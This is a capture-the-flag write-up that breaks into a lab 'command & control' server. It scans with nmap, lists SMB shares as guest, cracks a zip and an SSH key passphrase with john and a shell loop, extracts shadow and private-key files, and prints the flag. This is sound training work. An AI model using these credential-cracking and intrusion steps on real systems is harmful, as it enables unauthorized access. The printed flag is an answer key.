C&C Access (silver, 100p)

Network security monitoring system gives alerts with one IP address that the ransomware connected to.
Can this be hackers computer or command & control server?

If you can access it, you might find something interesting
Gain user level access to the attackers command & control server at 10.XX.32.130

solution

Running a nmap reveals host is running sshd and samba.

$ nmap -Pn -n -sC -sV -p- 10.XX.32.130
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 67:c8:c1:bd:d0:30:b2:18:e8:b5:cf:86:57:90:98:e9 (RSA)
|   256 0b:4e:a3:26:5b:cf:ae:e3:cb:54:38:72:ad:75:fe:4b (ECDSA)
|_  256 a8:53:9a:ff:dc:46:92:15:f2:98:ad:6a:1b:e5:df:64 (ED25519)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 00:50:56:88:14:78 (VMware)
Service Info: Host: COMMAND_CONTROL_SRV1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 4s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   NetBIOS computer name: COMMAND_CONTROL_SRV1\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-10-06T17:32:05+00:00
|_smb2-time: Protocol negotiation failed (SMB2)

There are three shares listed on server - Backup, Exploits and Data-dumps.

$ smbclient -U guest -N -L 10.XX.32.130

        Sharename       Type      Comment
        ---------       ----      -------
        Backup          Disk      Server backups
        Exploits        Disk      Exploit collection. Priv access
        Data-dumps      Disk      Dumped data. Priv access
        IPC$            IPC       IPC Service (command_control_SRV1 server C&C Samba)
SMB1 disabled -- no workgroup available

Only Backup share is available. It contains README, credz_backup.zip and some irrelevant documents in docs-backup directory.

$ smbclient -U guest -N //10.XX.32.130/Data-dumps
tree connect failed: NT_STATUS_ACCESS_DENIED
$ smbclient -U guest -N //10.XX.32.130/Exploits
tree connect failed: NT_STATUS_ACCESS_DENIED
$ smbclient -U guest -N //10.XX.32.130/Backup
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Nov 10 02:23:14 2020
  ..                                  D        0  Fri Oct 24 02:22:33 2020
  README                              N      652  Sat Oct 25 16:20:54 2020
  docs-backup                         D        0  Fri Oct 24 02:23:14 2020
  credz_backup.zip                    N     3898  Tue Nov 10 16:20:55 2020

File credz_backup.zip is password protected. It can be easily cracked with john. Password is computer.

$ zip2john credz_backup.zip 2>/dev/null | tee zip.hash
credz_backup.zip:$pkzip2$3*2*1*0*8*24*9f17*8c6e*ff779e82a742b4a8480e0c165a868ee87790df34a8c9d5c103c5e58c695cce258323c3f8*1*0*8*24*3a10*8c03*98c9efe9a8090aa4a38466fb5f146ba2b49ccad141909605a95216168ab60c4f7df2414f*2*0*10f*30f*8061d55e*235*44*8*10f*8061*8c6f*68c20d516bc11c05304a3962dbced1b33a73e82c9b3452f319e563bbd335449f6dca35676e1988ac1156b780e3d74f37b58d7671e6540b51fa9eb38d258c67bbe95b97a51a71ab2d516e34a4a9bff14e77e89757eb8ec20c9d69444f42133e724967914389131260c78060b7907474bb517dfff356f4dd5143d7c68763d7da0b157199636dcc6cd5ab52aad406d085e252ebb46db254bc9cb5bd518d03778154cf55738b00852e3219cd452f6fd5574e1e57f5201e9d6073e16e9327869863ab703db91e6059096a3c2b379b05f8f48c63c74cdcfa0d6331ec9942b86426a817c1694971fa45ba60b3e445ec053d15a6636149de7bc45ff9b78c005182119cc7bc9ed4f5eefc2e2a7d3851139bdfd7*$/pkzip2$:::::credz_backup.zip
$ john --wordlist=/usr/share/seclists/Passwords/probable-v2-top12000.txt zip.hash
computer         (credz_backup.zip)

Extracting the zip file, three are files - etc/passwd, etc/shadow and home/max/id_rsa. Looking at /etc/passwd reveals that there exists user max. File /etc/shadow contains max's password hash, but it isn't necessary to crack it, as there is also private key - home/max/id_rsa - available.

$ unzip credz_backup.zip
Archive:  credz_backup.zip
[credz_backup.zip] etc/passwd password:
  inflating: etc/passwd
  inflating: etc/shadow
  inflating: home/max/id_rsa
$ grep sh$ etc/passwd
root:x:0:0:root:/root:/bin/bash
max:x:1000:1000::/home/max:/bin/bash
$ grep max etc/shadow
max:$6$kzxfdnc2$uTn3VO..Xy9E9/ZVflghOsfd.KIzfyPhFOeVgs9pymY.RbTo85HQjn5oHfF3Y6rbZFMtNVsW3I8n/5hlGFYQv/:18576:0:99999:7:::
$ file home/max/id_rsa
home/max/id_rsa: OpenSSH private key

Private key requires a passphrase.

$ ssh-keygen -yf home/max/id_rsa
Enter passphrase: ^C

Using ssh2john.py to crack the passphrase with john was not fruitful, as a lot of possible candidates were shown.

$ curl -sO https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py
$ python2 ssh2john.py home/max/id_rsa 2>/dev/null > ssh.hash
$ john --wordlist=/usr/share/seclists/Passwords/probable-v2-top12000.txt ssh.hash
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
qwerty           (home/max/id_rsa)
michael          (home/max/id_rsa)
guitar           (home/max/id_rsa)
fluffy           (home/max/id_rsa)
tiger            (home/max/id_rsa)
(..)
^C

Using simple shell script to check for valid passphrase with ssh-keygen was more efficient. Passphrase is qwerty (looks like john was right after all).

$ while read p; do ssh-keygen -y -P $p -f id_rsa.txt 2>/dev/null && echo $p; done < /usr/share/seclists/Passwords/probable-v2-top12000.txt
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy1AwNDnCYuAHhB4fO8GDs+x14kSC8xbGM7+f8K0WN1wyEQDW9QfwcXuFYjmk/hxg4RvQwu8IS1I04nyQnklfhOTXtYDYeWVJ0CM7vbCC8CSVohMMsiil+ZH+ddEedPckfqj4fntTLXGY5Oxq2DFU6IPqBH1Psc0gSxdwOh5rvuWxMr/gvTvJh+YDZiHqtilW/xS53vXc6c1WFgNEqof1qvoAk0nSCneBpaLcRsw1dRGWvbo40nUZHBoLvo/SYBFUAx1r0qt46kcZ1EJ7nRiq85t3FXO1nJ1j+dQq4tEISrDzTsbWiKNA+nYOxGhb7HX4n7w35pDjABtjIcOZd75ilFckMYS98ZATvTiarBHLn+okfE+i9EznAxqJAjkY5aiUP15hnYZcsJrEGZoTzVKs+LLN7H+ciUucHsAf9Th6bHKTwAAVCtrAu0t/WftqGvNK67e8Sbc+YXy14y8Gi86j3sPoYxiNoWTZWeFLY0ahETsWXxBbhNnf5RfS8zEEk2xqHJOgD8kkF5cjOlRXjCiiABeAYW4ro8/nbvbsp2p09xS9C4SWoGRPalfm/nfWeNns7zHO+BG9EyFQhJddz0c/lvQxgT6wbuIO0GhfTPbWGo8r2MCuqkyS2Fkal7QJfll/MDgxvHGYFXD3yDPycaIiH/Ulma5VMaZtJgNJlTwCHNQ==
qwerty

Connecting as max via ssh, using private key, is successful. Flag is located in flag.txt.

$ chmod 600 id_rsa
$ ssh -i id_rsa max@10.XX.32.130
Enter passphrase for key 'id_rsa': qwerty
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-123-generic x86_64)

  * Documentation:  https://help.ubuntu.com
  * Management:     https://landscape.canonical.com
  * Support:        https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

max@command_control_SRV1:~$ cat flag.txt
Flag: 944bf14e-e8c9-40ac-a2fe-aacc2f585e35

bonus

A newer version (1.9.0) of john could deal with private key cracking a lot better. Though, it still continued to "crack" after finding the correct passphrase.

$ john --wordlist=/usr/share/seclists/Passwords/probable-v2-top12000.txt ssh.hash
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
qwerty           (home/max/id_rsa)